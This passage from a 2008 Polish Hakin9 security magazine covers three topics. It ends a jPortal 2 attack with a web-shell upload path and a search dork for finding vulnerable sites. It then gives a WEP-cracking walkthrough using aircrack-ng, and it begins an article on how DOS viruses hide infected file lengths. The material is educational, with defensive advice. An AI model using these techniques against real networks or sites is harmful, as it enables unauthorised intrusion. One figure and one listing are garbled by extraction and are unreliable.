naszym przypadku będzie to nazwashella.php. Jeżeli
nie modyfikowaliśmy żadnych ustawień, to shell będzie
znajdować się w katalogu uploads/download. Adres
do naszego shella będzie przykładowo wyglądać
tak: http://www.naszastrona.xx/uploads/download/
nazwashella.php
.

Obsługa PHPShella jest bardzo prosta. Mamy do

dyspozycji wiele jego odmian – osobiście polecam
C99Shell, gdyż posiada najszerszą funkcjonalność.

Podsumowanie

Artykuł ukazuje, że nawet bez znajomości
zaawansowanych technik hakerskich zwykły
użytkownik może dokonać udanego ataku na
witrynę. Potencjalnie podatnych stron w Internecie jest
wiele. Wystarczy wpisać w wyszukiwarce: Powered by
jPortal 2
.

Myślę, że administratorzy, którzy używają jPortal

2, po przeczytaniu artykułu podejmą odpowiednie
kroki mające na celu zabezpieczenie swojego
systemu.

Artur Czyż

Od 6 lat interesuje się bezpieczeństwem Sieci.

Kontakt z autorem: blackgeocities@wp.pl

background image

20

HAKIN9

ATAK

4/2008

W

ielu użytkowników komputerów
decydujących się na zbudowanie
domowej sieci bezprzewodowej po

dokonaniu zakupu odpowiednich urządzeń po
prostu wyciąga je z pudełka i podłącza, bez
wnikliwego – zapewniającego odpowiedni poziom
bezpieczeństwa – procesu konfiguracji. Taka forma
tworzenia sieci jest bardzo szybka, wygodna i
bezstresowa, lecz niestety, naraża użytkowników
na ataki. Dobrze, jeśli zakupione urządzenia
posiadają zaimplementowane najnowsze
rozwiązania bezpieczeństwa, jednak nie możemy
raczej na to liczyć nabywając sprzęt z dolnej półki
cenowej. Znaczna grupa urządzeń do łączności
bezprzewodowej w paśmie 2.4GHz wykorzystuje
szyfrowane protokoły transmisji. Jednym z takich
protokołów jest WEP – Wired Equivalent Privacy.
Zapewnia on szyfrowanie transmisji oparte o
algorytm RC4 z długościami kluczy 64 i 128 bitów.
Spotyka się także rozwiązania z kluczami o długości
256 bitów, jednak długość klucza nie wpływa w
tym przypadku na poprawę bezpieczeństwa. W
każdym kluczu 24 bity przeznaczone są na wektor
inicjujący (ang. Initialization Vector – IV), który jest
wysyłany w każdej ramce. Prawdziwa wartość
kluczy WEP to zatem 40 i 104 bity. Algorytm RC4
jest dość powszechnie używany , możemy znaleźć
jego implementacje w SSL, SSH czy w popularnym
protokole BitTorrent.

W roku 2001 Scott Fluhrer, Itsik Mantin oraz

Adi Shamir opublikowali analizę algorytmu RC4 i
wskazali możliwy sposób jego złamania. Wówczas

GRZEGORZ BŁOŃSKI

Z ARTYKUŁU

DOWIESZ SIĘ

co to jest WEP,

jak wygląda atak na WEP,

jak złamać WEP przy pomocy

ataku PTW.

CO POWINIENEŚ

WIEDZIEĆ

umieć zainstalować

i skonfigurować kartę WiFi,

znać system Linux i sposób

pracy w konsoli.

do złamania hasła potrzeba było przechwycić od 4
do 6 milionów pakietów danych. Atak wykorzystujący
techniki przez nich opisane określano mianem
ataku FMS. Nieco później – w roku 2004 – haker
KoReK udoskonalił atak na WEP, zmniejszając liczbę
wymaganych pakietów do wartości z przedziału od
500 tysięcy do 2 milionów. Andreas Klein w roku
2005 opublikował swoją własną analizę algorytmu
RC4, w której opisał teoretyczną możliwość złamania
hasła z 50-procentowym prawdopodobieństwem
po zebraniu tylko 40 tysięcy pakietów. W roku 2007
trzech naukowców z Politechniki w Darmstadt,
wykorzystując analizę Kleina, dokonało ataku
przechwytując pakiety i jednocześnie wykonując
wstrzykiwanie pakietów ARP w celu zwiększenia
wydajności i szybkości ataku. Od pierwszych liter ich
nazwisk powstała nazwa ataku – PTW. Ci naukowcy
to Erik Tews, Andrei Pychkine oraz Ralf-Philipp
Weinmann.

Schemat ataku

Postaram się przedstawić schemat ataku na
algorytm WEP w możliwie prosty sposób.

Wykorzystam do tego celu

schemat zamieszczony w serwisie
www.wirelessdefence.org, który przetłumaczyłem
na potrzeby tego artykułu za zgodą
administratora wspomnianego serwisu – Matta
Byrne'a.

Schemat ten jest bardzo typowy dla

przypadku ataku na sieć zabezpieczoną
przy pomocy WEP. Jak widać na Rysunku 1.

Stopień trudności

Hakowanie

WiFi

W obecnych czasach sieci bezprzewodowe są tak popularne

że praktycznie w każdym skupisku ludzkim można je znaleźć.W

miastach oraz na wsiach ludzie korzystają z przeróżnego rodzaju

sieci w tym także bezprzewodowych. Łączność radiowa pomiędzy

komputerami jest bardzo użytecznym i wygodnym rozwiązaniem

lecz czy wystarczająco bezpiecznym?

background image

21

HAKIN9

SCHEMAT ATAKU NA WEP

4/2008

schemat działania atakującego jest
nieskomplikowany.

Opisując poszczególne etapy ataku,

postaram się przedstawić potencjalne
możliwości przeciwdziałania takim
praktykom.

Na potrzeby niniejszego artykułu

stworzyłem sieć testową opartą o punkt
dostępowy w postaci routera WAP54G
firmy Linksys oraz kartę klienta sieci GN-
WBKG firmy Gigabyte. Ataku dokonywałem
za pomocą komputera wyposażonego
w kartę EW-7318USg firmy Edimax przy
wykorzystaniu programu Aircrack-ng w
wersji 0.9.1.

W konfiguracji routera znalazło

się 10-znakowe hasło WEP w wersji
64-bit (89402aab1c), brak jest tabeli
dopuszczalnych adresów MAC
(gdyż często spotyka się właśnie
takie konfiguracje), zostało włączone
rozgłaszanie ESSID – testap, oraz
zdefiniowany kanał pracy 11. Tryb pracy
routera to Infrastruktura.

Pierwszą fazą ataku jest nasłuch

sieci bezprzewodowych, który prowadzi
do ustalenia, jakiego rodzaju sieci
znajdują się w zasięgu atakującego.
Przy wykorzystaniu odpowiednich kart
sieciowych z możliwością podłączenia
zewnętrznych anten kierunkowych
o dużym zysku, nasłuch może być
prowadzony na bardzo duże odległości,
dochodzące nawet do kilku kilometrów.
Do nasłuchiwania sieci używałem
graficznej wersji dobrze znanego
programu Kismet. Gkismet – bo tak
nazywa się wersja graficzna – nie
jest bardziej funkcjonalna niż wersja
pracująca w konsoli.

Jak widać na Rysunku 2. program

odnalazł mój punkt dostępowy testap
oraz jego BSSID, odczytał maksymalny
transfer, kanał pracy, tryb pracy AP,
szyfrowanie WEP – czyli całkiem sporo
informacji zaledwie po krótkiej chwili
działania programu. Od pierwszej fazy
ataku zależy bardzo wiele, zatem należy
wykonywać ją z dużą dokładnością i
starannością.

W tym momencie należy zauważyć

że administrator sieci bezprzewodowej
może uniknąć wykrycia jego sieci jeśli
ograniczy moc urządzeń radiowych do
niezbędnego minimum pozwalającego na
korzystanie z tej sieci oraz zastosuje anteny

Rysunek 1.

Schemat ataku na WEP

�����������������

��������������

��������������������������������������

��������������

���

���

�����������������

�����������������

����

������������

������������

�������������

������

���

���

������������

�������������

��������

�����������

�����������

������

���

���

��������������

���������������

���������������

�������

�����������

��������������

���

���

������������

�������������

����������������

��������

��������������

��������������

����������������

����������

���

���

���������������

�������������

�����������������

����������������

����������

����������������

�������������������

�������������������������

���������������

���������������

������

���

����������

��������

�������

���

���������������

���������������

��������������

����������������������������������

�������������������

����������������������������������������������

�����������

background image

ATAK

22

HAKIN9 4/2008

SCHEMAT ATAKU NA WEP

23

HAKIN9

4/2008

zawężające pole emisji sygnałów do
obszaru w którym ma działać sieć. Często
ta możliwość jest pomijana już na wstępie
konfigurowania sieci bezprzewodowej i
ułatwia przeprowadzenie ataku.

W czasie prowadzenia nasłuchu

atakujący zbiera podstawowe informacje
o sieciach takie jak ESSID , BSSID , kanał
na jakim pracują , siła sygnału sieci.
Potencjalny atakujący może nasłuchiwać
przez długi okres czasu chcąc zdobyć
informacje o klientach podłączających się
do danej sieci czy konkretnego punktu
dostępowego.

W przypadku sieci z jednym punktem

dostępowym AP zupełnie niecelowe jest
stosowanie ciągu ESSID, ponieważ z
założenia jest on potrzebny do komunikacji
między punktami dostępowymi w sieciach
bardziej rozbudowanych.

BSSID będący adresem MAC punktu

dostępowego także nie powinien być
rozgłaszany w sieci, jeśli nie ma takiej
potrzeby i jest możliwość wyłączenia jego
rozgłaszania.

Po przechwyceniu przynajmniej

jednego pakietu zawierającego dane
atakujący próbuje złamać klucz przy

pomocy narzędzia do aktywnego ataku
słownikowego o nazwie wepattack.
Program dostępny jest pod adresem
http://wepattack.sourceforge.net. W
tym momencie pora na drobną uwagę
dotyczącą źródeł programu. Podczas
kompilacji programu wystąpił u mnie błąd
(Listing 1.)

Jak się okazuje, w pliku Makefile

znajduje się błąd w linii 24. Linia wygląda
tak :

$(LD) $(LDFLAGS) -o $@ wepattack.
o rc4.o wepfilter.o log.o\

a powinna wyglądać tak :

$(LD) $(LDFLAGS) -o $@ wepattack.
o rc4.o wepfilter.o log.o \

(brakuje jednego znaku spacji przed
znakiem podziału linii). Po poprawieniu
błędu program kompiluje się i działa
bez problemu. Niestety, w przypadku
hasła, które zdefiniowałem w mojej sieci
testowej, użycie programu wepattack
jest bezcelowe i nie może zakończyć się
złamaniem hasła.

Przy wykorzystaniu dużej bazy słów atak

tego typu ma duże szanse powodzenia
– ale tylko w przypadku hasła prostego,
będącego wyrazem, który jest powszechnie
używany.

Jeśli jednak nie uda się przechwycić

żadnego pakietu, atakujący korzysta z
możliwości ataku poprzez wstrzykiwanie
pakietów ARP w celu zwiększenia ilości
pakietów wysyłanych przez AP, które
następnie są przechwytywane.

Atak wstrzykiwania pakietów

wykonywany jest przy pomocy programu
aireplay-ng z parametrem -3 .Jak widać
na Rysunku 3. podczas wstrzykiwania
pakietów program wyświetla ilość pakietów
wysyłanych w ciągu sekundy (wartość

pps

).

W Sieci:

• http://www.aircrack-ng.org,
• http://wirelessdefence.org,
• http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw,
• http://www.isaac.cs.berkeley.edu/isaac/wep-faq.html,
• http://eprint.iacr.org/2007/120.pdf,
• http://www.kismetwireless.net,
• http://gkismet.sourceforge.net.

Rysunek 2.

Gkismet – graficzna wersja Kismet

Rysunek 3.

Aireplay-ng podczas ataku wstrzykiwania ARP

Listing 1.

Błąd podczas kompilacji

gcc

-

o

wepattack

wepattack

.

o

rc4

.

o

wepfilter

.

o

log

.

o

\

modes

.

o

misc

.

o

verify

.

o

keygen

.

o

-

lpcap

-

lz

-

lcrypto

gcc

:

log

.

omodes

.

o

:

Nie

ma

takiego

pliku

ani

katalogu

make

:

***

[

wepattack

]

B

łą

d

1

background image

ATAK

22

HAKIN9 4/2008

SCHEMAT ATAKU NA WEP

23

HAKIN9

4/2008

To dość istotny parametr, pozwalający
na skracanie czasu ataku. Maksymalna
wartość parametru to 1024, a definiuje
się ją przy pomocy przełącznika się
parametrem –[wartość].

Zmniejszenie szans powodzenia ataku

słownikowego na sieć zabezpieczoną przy
pomocy WEP może być osiągnięte dzięki
zdefiniowaniu odpowiednio długiego hasła.
Nie można wykorzystywać do jego budowy
znanych słów, a najlepiej, gdy jest to ciąg o
długości co najmniej dwunastu znaków.

W przypadku, gdy atakującemu uda się

złamać hasło, jego droga do podłączenia
się do sieci znacznie się skraca – co
widać na schemacie. Gdy jednak atak
słownikowy się nie powiedzie, atakujący
próbuje zebrać większą ilość pakietów w
celu wykorzystania ataku FMS lub PTW.
Do przeprowadzenia ataku FMS musi
on przechwycić stosunkowo dużą ilość
pakietów, często liczoną w milionach.
Jednak atak PTW pozwala na złamanie
hasła przy użyciu dużo mniejszej ilości
pakietów. Przy zebraniu 40.000 pakietów
szanse na złamanie hasła są pięćdziesięc
ioprocentowe. Przy ilości 80.000 pakietów
klucz jest łamany z prawie 100-procentową
skutecznością.

W tym miejscu warto wspomnieć,

że im dłuższe i bardziej skomplikowane
hasło, tym trudniej będzie je złamać.
Jednak technika PTW pozwala na bardzo
efektywne ataki, co sugeruje rezygnację z
wykorzystywania szyfrowania WEP w ogóle.

Po złamaniu hasła atakujący może już

mieć swobodny dostęp do sieci WLAN, jeśli
nie korzysta ona ze stałej tablicy adresów
MAC kart sieciowych.

W przypadku, gdy sieć korzysta z

takiej tablicy, atakującemu pozostaje
podsłuchiwanie stacji przyłączających się
do AP w celu ustalenia ich adresów MAC
i – po rozłączeniu się jednego z klientów

– skorzystanie z jego adresu MAC i
podłączenie się do sieci z innym adresem
IP (w sieciach bezprzewodowych nie
występuje problem konfliktu adresów IP).
Może jeszcze dojść kwestia zdefiniowania
adresu IP w przypadku, gdy w sieci nie
są one nadawane poprzez protokół
DHCP. Jak widać, droga od rozpoczęcia
nasłuchu do właściwego włamania do
sieci nie jest zbyt skomplikowana, choć
w zależności od przebiegu ataku może
być krótsza bądź dłuższa.

W sieci, którą przygotowałem

do testów, udało mi się złamać
dziesięcioznakowy klucz WEP 64-
bit po zebraniu tylko nieco ponad
5000 pakietów zawierających wektory
inicjujące. Posłużył mi do tego celu
atak PTW, przeprowadzony przy użyciu
programu aircrack-ng z ustawionym
parametrem –z. Było to ewidentnie dzieło
przypadku i szczęścia, ponieważ kolejne
próby przy różnych liczbach zebranych
pakietów nie pozwoliły na jego złamanie
– aż do zebrania ponad 40000 pakietów
zawierających wektory inicjalizacji.

Co ciekawe, program pracował tylko 43

sekundy, zanim znalazł hasło – co widać
na Rysunku 4. Jeśli atakujący także będzie
miał trochę szczęścia, jego działania
przeciwko sieci WiFi mogą być bardzo
krótkie i – co bardziej niepokojące –
skuteczne, co w efekcie może doprowadzić
do kompromitacji naszej sieci.

Udany atak na szyfrowaną przy

pomocy WEP sieć bezprzewodową to
niestety już dziś kwestia czasu krótszego
niż minuta (w odpowiednich warunkach).
W związku z tym nawet WEP 256-bit, który
został zastosowany w urządzeniach tylko
niektórych producentów, nie podnosi
znacząco poziomu bezpieczeństwa.
Wydaje się, że jedynie stosowanie
równocześnie kilku rodzajów zabezpieczeń

jest nam w stanie dać choćby namiastkę
bezpieczeństwa – bo o zupełnym
bezpieczeństwie w przypadku sieci
bezprzewodowych niestety mówić nie
można.

W dzisiaj dostępnych urządzeniach

WiFi producenci implementują metody
szyfrowania takie, jak WPA w różnych
odmianach czy WPA2, które niwelują
słabe punkty szyfrowania WEP, operują na
kluczach o większej długości, pozwalając
na znacznie lepsze zabezpieczenie sieci
bezprzewodowej, jednak nie należy ufać
takim zabezpieczeniom bezgranicznie.

W przypadku, gdy administrator chce

zminimalizować możliwości ataku na
jego sieć, może to zrobić stosując różne
metody jednocześnie i zachowując kilka
podstawowych zasad bezpieczeństwa,
takich jak: autoryzacja użytkowników,
zarządzanie uprawnieniami
użytkowników czy monitorowanie
przesyłanych danych.

Podsumowanie

Sieci bezprzewodowe zagościły na
stałe w naszym otoczeniu. Jest cała
masa miejsc publicznych oferujących
bezprzewodowy dostęp do internetu.
Korzystamy z niego w domach, w
sieciach osiedlowych, a także w małych
firmach.

Zdarzają się także przypadki

wykorzystywania WiFi w dużych
firmach, gdy istnieje taka potrzeba.
Wiele osób budujących domowe
sieci bezprzewodowe podchodzi do
tego bardzo swobodnie, nie dbając
o bezpieczeństwo. Mimo tego, że
wielu producentów oferuje w swoich
urządzeniach znacznie silniejsze
zabezpieczenia, wiele osób zabezpiecza
swoje sieci korzystając jeszcze z
szyfrowania WEP, które – jak pokazuje
ten artykuł – jest bardzo podatne na
ataki. Do technologii dostępu radiowego
należy podchodzić z pewnym dystansem
odnosząc się do bezpieczeństwa, gdyż
– jak widać – nie jest z nim tak dobrze, jak
byśmy sobie tego życzyli.

Grzegorz Błoński

Autor z wykształcenia jest informatykiem,

certyfikowanym specjalistą IBM. Pracuje w dużej firmie

o zasięgu światowym. Zajmuje się administracją oraz

bezpieczeństwem sieciowym.

Kontakt z autorem: mancymonek@mancymonek.pl

Rysunek 4.

Złamany klucz WEP

background image

24

HAKIN9

ATAK

4/2008

T

ekst częściowo nawiązuje do mojego cyklu
związanego z wirusami komputerowymi.
Nie jest to poradnik, jak napisać wirusa,

tylko artykuł je opisujący. Myślę jednak, że jego
lektura może być dobrym początkiem dla osób,
które chciałyby zająć się zawodowo wirusami
(np. uczestnicząc w tworzeniu oprogramowania
antywirusowego).

Koń trojański

– pierwsze spojrzenie

Z punktu widzenia zaatakowanego użytkownika, jest
to program, który – krótko mówiąc – siedzi sobie
w naszym komputerze, analizuje jego działanie i
pozwala na nieautoryzowany dostęp oraz zarządzanie
komputerem. Jednak takie pojęcie nic nam nie mówi
o specyfice tego rodzaju oprogramowania.

Według definicji podanej przez specjalistę od

wirusów, dr Alana Solomona, w pracy zatytułowanej
Wszystko o wirusach (All About Viruses) trojan to
program, który robi więcej, niż oczekuje od niego
użytkownik, a te dodatkowe zadania są z punktu
użytkownika niepotrzebne... Czym różni się zatem
wirus od trojana? Aktualnie różnice między jednym
a drugim zacierają się. Jednak wszystko zaczęło się
od celu: wirus miał być programem, który infekuje
dyski twarde, dyskietki, czy pliki. W swojej strukturze
miał zawierać kod który niszczy dane, pozwala
go uśpić – ale gdy nadejdzie pora zaatakować,
w mniejszym lub większym stopniu poprzez
dewastację systemu uprzykrzyć życie użytkownikowi.
Inaczej wygląda kwestia konia trojańskiego.

RAFAŁ PODSIADŁY

Z ARTYKUŁU

DOWIESZ SIĘ

gdzie szukać backdoorów,

na co zwracać uwagę pisząc

złośliwe oprogramowanie,

jak wykorzystywać malware do

ataku,

jak się przed nim chronić.

CO POWINIENEŚ

WIEDZIEĆ

znać podstawy elektroniki

cyfrowej,

posiadać umiejętność

programowania w asemblerze.

Termin ten pochodzi z Iliady Homera,

opisującej oblężenie Troi przez Greków. Grecy, po
wielu miesiącach bezskutecznych walk, pozornie
wycofali się, pozostawiając pod miastem wielkiego
drewnianego konia. Trojanie w akcie zwycięstwa
wprowadzili konia do wnętrza miasta jako łup
wojenny. W środku konia była ukryta grupa
żołnierzy, którzy w nocy otworzyli od wewnątrz
bramę miasta, umożliwiając w ten sposób
nieautoryzowane wtargnięcie armii greckiej.

Najpopularniejszym sposobem

rozpowszechniania koni trojańskich jest
umieszczanie w Internecie darmowego
oprogramowania, zawierającego ukrytą dodatkową
funkcjonalność. Użytkownicy sieci p2p są
narażeni na podobne działania, gdyż dopiero po
pobraniu pliku i jego przeskanowaniu programem
antywirusowym mogą ocenić zawartość pod
względem bezpieczeństwa. Infekcja następuje

Stopień trudności

Użytkownik

kontra wirusy

90% szkodliwego oprogramowania trafia do naszego komputera,

ponieważ nie przestrzegamy zasad bezpiecznego jego

użytkowania. Chciałbym w tym artykule przedstawić niektóre

techniki ataków, pokazać, w których miejscach ukrywają się

trojany.

Rysunek 1.

Wirusy

background image

25

HAKIN9

KTO KIERUJE KOMPUTERAMI?

4/2008

najczęściej poprzez strony internetowe, które
są spreparowane tak, by instalowały złośliwe
oprogramowanie tuż po wejściu na stronę.
Zwykle mamy do czynienia z formą ataku
socjotechnicznego: któż z nas nie dostał
zaproszenia czy komunikatu – choćby na
GG – w rodzaju: Cześć, widziałam Cię na
fotce – super zdjęcia: www.
(i tu następuje
adres złośliwej strony) lub innej podobnej
treści, zachęcającej do odwiedzenia
określonej strony WWW. Często podany
link odwołuje się do pliku z rozszerzeniem
exe. Użytkownik jest wtedy pytany, czy
uruchomić oprogramowanie i niejednokrotnie
myśli, iż otwiera po prostu przeglądarkę
internetową. A tymczasem uruchamia swoim
komputerze plik exe, zawierający szkodliwe
oprogramowanie.

Charakterystyka

wirusa i backdoora

Programiści do pisania wirusów w większości
przypadków wykorzystują czysty asembler.
Spowodowane jest to głównie specyfiką

kodu generowanego przez ten język, a
zwłaszcza jego zwięzłością. Kod maszynowy
szkieletowego programu, który z punktu
widzenia użytkownika nie robi nic, w językach
wysokiego poziomu zajmie od kilkuset
bajtów do kilku, a nawet kilkuset kilobajtów.
W asemblerze podobny program zajmie
od jednego (instrukcja RET w pliku COM)
do czterech bajtów (wywołanie funkcji

4Ch

przerwania 21h). Spowodowane jest to tym,
iż do każdego wygenerowanego przez siebie
programu kompilatory języków wysokiego
poziomu dodają standardowe prologi i epilogi,
niewidoczne dla piszącego w danym języku
programisty, które są odpowiedzialne m. in.
za obsługę błędów, stosu, operacje wejścia/
wyjścia itp. Można powiedzieć, że długość
programu wynikowego (rozumianego jako
kod maszynowy) jest wprost proporcjonalna
do poziomu języka programowania, w którym
został on napisany. Na korzyść asemblera
przemawia także fakt, iż z jego poziomu mamy
bardzo dużą swobodę w dostępie do pamięci
czy portów, a programista ma możliwość

świadomego wpływu na kształt powstałego
kodu, np. w zakresie używanych instrukcji czy
rozwiązań programowych.

Jak widać, programy napisane

w asemblerze są optymalne pod
względem szybkości działania i długości
kodu, a więc język ten jest jakby
stworzony do programowania wirusów.

Kod źródłowy trojana jest zwykle oparty

o język wyższego poziomu, np. C++ czy
Delphi – pozwala to na zbudowanie większej
liczby funkcji, służących do symulowania
nieszkodliwego, a nawet pożytecznego
dla użytkownika-ofiary oprogramowania,
w krótszym czasie. W treści kodu mogą
występować wstawki języka niższego
poziomu, przydatne w celu głębszego ukrycia
złośliwego fragmentu kodu, realizującego np.
infekcję kolejnych plików czy komputerów albo
proces klonowania programu.

Technika stealth

Wirusy komputerowe modyfikują pliki
i sektory, zmieniając ich zawartość (w

Struktury opisujące

Struktura bloku opisu pliku FCB (zwykłego)

• 00 – numer napędu (0=domyślny, 1=A, 2=B,...); jeżeli jest równy 0FFh,

to mamy do czynieia z rozszerzonym blokiem opisu pliku FCB,

• 01-08 – 8 bajtów nazwy pliku,
• 09-0B – 3 bajty rozszerzenia pliku,
• 0C-0D – numer aktualnego bloku,
• 0E-0F – długość logicznego rekordu,
• 10-13 – długość pliku,
• 14-15 – data ostatniej modyfikacji pliku,
• 16-17 – czas ostatniej modyfikacji pliku,
• 18 – ilość SFT (System File Table) dla pliku,
• 19 – atrybuty, znaczenie poszczególnych bitów przedstawiono

poniżej,

• bity 7-6:

• 00 – SHARE.EXE niezaładowany, plik dyskowy,
• 01 – SHARE.EXE niezaładowany, sterownik,
• 10 – SHARE.EXE załadowany, plik zdalny,
• 11 – SHARE.EXE załadowany, plik dyskowy lub sterownik,

• bity 5-0 to mniej znaczące 6 bitów ze słowa atrybutów urządzenia

1A-1F – zawartość zależna od bajtu 19, w zależności od wartości,

bitów 7-6 tego bajtu należy ją interpretować jako:
• wartość 11,

• 1A-1B – numer pierwszej JAP (jednostki alokacji) pliku,
• 1C-1D – określa numer rekordu w dostępie dzielonym,
• 1E – atrybuty pliku,
• 1F – nie używany,

• wartość 10:

• 1A-1B – uchwyt sieciowy,
• 1C-1F – identyfikator sieciowy,

• wartość 01:

• 1A-1D – wskaźnik do nagłówka sterownika

• 1E-1F – nie używane,

• wartość 00:

• 1A – bajt informacyjny,
• bit 7: – atrybut tytko do odczytu w SFT,
• bit 6: – atrybut archive w SFT,
• bity 5-0: – wyższe bity numeru sektora,
• 1B-1C – numer pierwszej JAP pliku,
• 1D-1F – niższe bity sektora zawierającego adres w katalogu,
• 1F – ilość pozycji katalogu w sektorze,

20 – bieżący rekord
21-24 – numer rekordu w dostępie swobodnym; jeżeli rozmiar rekordu

wynosi 64 bajty, bardziej znacząca część jest pomijana

Struktura bloku opisu pliku FCB (rozszerzonego)

• 00 – wartość 0FFh oznacza blok rozszerzony,
• 01-05 – zarezerwowane,
• 06 – atrybuty pliku,
• 07-2B – zwykły blok opisu FCB (patrz poprzednia tabela).

Struktura pola opisu pozycji katalogu

• 00-07 – nazwa pliku,
• 08-0A – rozszerzenie pliku,
• 0B – atrybuty pliku,
• 0C-15 – zarezerwowane,
• 16-17 – czas ostatniej modyfikacji pliku,
• 18-19 – data ostatniej modyfikacji pliku,
• 1A-1B – numer pierwszej JAP,
• 1C-1F – długość pliku.

background image

ATAK

26

HAKIN9 4/2008

KTO KIERUJE KOMPUTERAMI?

27

HAKIN9

4/2008

przypadku plików zwykle powiększają
jeszcze ich długość). Teoretycznie więc,
aby wykryć wirusa, wystarczy odczytać
plik lub sektor i odnaleźć w nim, poprzez
operację skanowania, odpowiednią
sekwencję (sygnaturę) wirusa. I
rzeczywiście, metoda ta stosowana była
z dużym powodzeniem aż do momentu,
gdy pojawił się pierwszy wirus używający
techniki stealth.

Słowo stealth znaczy po angielsku

niewidzialny. Takimi właśnie wydają się
wirusy używające tej ciekawej sztuczki,
która polega na kontroli odpowiednich
funkcji systemu BIOS, obsługujących
pamięć i operacje dyskowe.

W momencie próby uzyskania

dowolnego rodzaju dostępu do
zainfekowanego pliku lub sektora
uruchamiane są mechanizmy
wirusa, które mają na celu oszukanie
użytkownika.

Oszustwo polega na tym, iż fizycznie

zarażony obiekt, po odpowiedniej obróbce
przez wirusa, wygląda, jakby był nie
zainfekowany. Różne odmiany techniki
stealth zostały omówione poniżej.

Podawanie
prawdziwych długości plików

Wirusy wykorzystujące tę technikę oszukują
system poprzez podawanie sfałszowanych,
prawidłowych długości zainfekowanych
plików, wyświetlanych po wykonaniu
polecenia DIR lub też w oknie programu
Menedżera okien – tak, aby zbiory
wyglądały na oryginalne.

Wyżej wymienione programy używają

do przeszukiwania zawartości katalogu
jednej z trzech par funkcji, z których
pierwsza poszukuje pierwszego, a druga
kolejnego wystąpienia w katalogu. Funkcje
te to (

11/12/21

), (

4E/4F/21

), (

714E/714F/

21

). Oszukujący system wirus przejmuje

kontrolę nad tymi funkcjami (niekoniecznie
nad wszystkimi) i monitoruje odpowiednie
pola struktur, na których operuje dana
funkcja. W momencie wykonywania jednej
z funkcji wirus wywołuje pierwotny program
obsługi przerwania, a następnie modyfikuje
elementy odpowiedniej struktury:

pozycji katalogu (funkcje

11/12

),

DTADisk Transfer Area (funkcje

4E/4F

),

FindData (funkcje

714E/714F

).

Modyfikacja polega na odjęciu długości
wirusa od długości pliku opisywanej
w odpowiednim polu struktury oraz
– najczęściej – pewnej modyfikacji czasu
lub daty, odnoszących się do momentu
zainfekowania pliku.

Powyższe operacje wykonywane są

oczywiście tylko w przypadku obecności
wirusa w konkretnym pliku.

Polecenie DIR
wywoływane z poziomu DOS

Polecenie DIR używa do przeglądania
zawartości katalogu pary dwóch
przeznaczonych specjalnie do tego celu
funkcji (

11,12/21

). Obie funkcje korzystają z

najstarszej metody operowania na plikach,
a mianowicie z tzw. bloku opisu pliku FCB
(ang. File Control Block), podawanego
jako parametr wejściowy do funkcji oraz z
pola opisu pozycji katalogu, zwracanego
po jej bezbłędnym wykonaniu w buforze
DTA (ang. Disk Transfer Area), których opis
przedstawiono w kolejnych tabelach.

Podczas odwołań do struktury FCB

należy pamiętać, iż istnieją dwie wersje
opisu bloku FCB: zwykła i rozszerzona,
będąca rozwinięciem bloku zwykłego
(zawiera dodatkowe pola). Jeżeli pierwszy
bajt bloku jest równy 0FFh, mamy do
czynienia z rozszerzonym blokiem opisu
pliku. Adres DTA uzyskuje się za pomocą
funkcji (

2F/21

), która umieszcza go w

rejestrach ES:BX. Po powrocie z funkcji
wskazują one bezpośrednio na pole opisu
pozycji katalogu, w którym już bez przeszkód
można odpowiednio modyfikować pola
długości pliku (1C-1F) oraz czasu i daty
ostatniej modyfikacji (18-19 i 1A-1B).

Nakładki operujące na krótkich

nazwach plików (tzn. 8 znaków nazwy
i 3 znaki rozszerzenia) używają do
przeglądania katalogu funkcji (

4E

,

4F/21

).

Wynik wywołania tych funkcji zwracany
jest w buforze DTA, jednak format opisu
znalezionej pozycji katalogu jest inny niż
podczas wywoływania funkcji (

11,12/

21

). Nie zmienia się natomiast sam

sposób oszukiwania systemu. Po wykryciu
wywołania którejś z funkcji, należy najpierw
uruchomić ją za pomocą pierwotnego
programu obsługi, a następnie odczytać
adres bufora DTA i zmodyfikować
odpowiednie pola struktury.

Pola struktury DTA pokazano w Ramce.

Najważniejsze z nich to: długość pliku

Struktura DTA

• 00 – znaczenie poszczególnych bitów:

• bity 6-0 – numer napędu,
• bit 7 – jeśli jest ustawiony, oznacza plik zdalny,

• 01-0B – szablon poszukiwanych pozycji katalogu,
• 0C – atrybuty poszukiwanej pozycji,
• 0D-0E – numer pozycji w katalogu,
• 0F-10 – numer JAP katalogu nadrzędnego,
• 11-14 – zarezerwowane,
• 15 – atrybut znalezionej pozycji katalogu,
• 16-17 – czas ostatniej modyfikacji znalezionej pozycji katalogu,
• 18-19 – data ostatniej modyfikacji znalezionej pozycji katalogu,
• 1A-1D – długość znalezionej pozycji katalogu,
• 1E-2A – nazwa i rozszerzenie pliku.

Struktura FindData

• 00-03 – atrybuty pliku:

• bity 0-6 – standardowe atrybuty plików DOS,
• bit 7 – plik tymczasowy (temporary),

• 04-0B – czas i data utworzenia pliku,
• 0C-13 – czas i data ostatniego dostępu do pliku,
• 14-1B – czas i data ostatniej modyfikacji pliku,
• 1C-1F – długość pliku (bardziej znaczące 32 bity),
• 20-23 – długość pliku (mniej znaczące 32 bity),
• 24-2B – zarezerwowane,
• 2C-12F – 260-bajtowe pole pełnej nazwy pliku (jako ASCIIZ),
• 130-13D – 14-bajtowe pole krótkiej nazwy pliku (jako ASCIIZ).

background image

ATAK

26

HAKIN9 4/2008

KTO KIERUJE KOMPUTERAMI?

27

HAKIN9

4/2008

(adres 1A-1D) oraz czas i data ostatniej
modyfikacji (adresy 16-17 i 18-19).

Wraz z pojawieniem się systemu

Windows 95 wprowadzono tzw.
długie nazwy plików, którymi
zastąpiono dotychczas używane
(jedenastoznakowe). Mechanizm obsługi
długich nazw plików jest dostępny
wyłącznie wtedy, gdy aktywny jest system
Windows oraz gdy zainstalowany jest tzw.
Menedżer IFS.

Za obsługę długich nazw plików

odpowiedzialna jest w systemie DOS
funkcja (714E/21), gdzie 4E oznacza
numer podfunkcji przekazywanej
w rejestrze AL – za pomocą takich
podfunkcji zdublowano funkcje
(z dokładnością do numerów)
operujące na plikach, a dostępne we
wcześniejszych wersjach systemu
DOS. Za przeszukiwanie zawartości
katalogu są więc odpowiedzialne dwie
podfunkcje (

714E,714F/21

), operujące na

wprowadzonej wraz z systemem Windows
95 strukturze o nazwie FindData.

Opisane funkcje są wykorzystywane

m. in. przez polecenie DIR wywoływane
w oknie Tryb MS-DOS (w systemie
Windows 95).

Aby umożliwić różnym aplikacjom

działającym w 32-bitowym środowisku
graficznym obsługę długich nazw plików,
ale bez konieczności odwoływania się
